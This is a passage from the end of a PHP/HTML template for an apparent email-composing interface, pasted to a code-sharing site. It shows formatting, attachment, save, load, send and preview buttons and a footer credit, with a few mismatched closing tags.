  2074.                     <button id="makeitalic" onclick="MakeItalic();return false" class="btn">I</button>
  2075.                     <button id="makeunderline" onclick="MakeUnderline();return false" class="btn">U</button>
  2076.                     <button id="makereverse" onclick="MakeReverse();return false" class="btn">esreveR</button>
  2077.                 </div>
  2078.                 <textarea name="text" id="text" style="width:100%;height:200px;"></textarea>
  2079.                 <button class="btn" onclick="showUniversalUpload();return false"><i class="icon-plus"></i> <?php tr('attachfile');?></button>
  2080.                 <span id="attachedFiles" class="pull-right"></span>
  2081.             </form>
  2082.             <div class="pull-left">
  2083.                 <button class="btn btn-large" onclick="SaveData()"><?php tr('save');?></a>
  2084.                 <button class="btn btn-large" onclick="TogleLoadSave()"><?php tr('load');?></a>
  2085.             </div>
  2086.             <div class="pull-right">
  2087.                 <button class="btn btn-large btn-primary" onclick="Send()"><?php tr('send');?></a>
  2088.                 <button class="btn btn-large" onclick="Preview()"><?php tr('preview');?></a>
  2089.             </div>
  2090.         </div>
  2091.     </div>
  2092.     <div class="row">
  2093.         <div class="span12">
  2094.             <div class="well" style="text-align:center;">
  2095.             &copy; <a href="http://mailer.a-l-e-x-u-s.ru/" target="_blank">Alexus</a> <?php echo date("Y");?>
  2096.         </div>
  2097.     </di>
  2098. </div>
  2099. <script src="http://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/js/bootstrap.min.js"></script>
  2100. </body>
  2101. </html>
Add Comment
Please, Sign In to add comment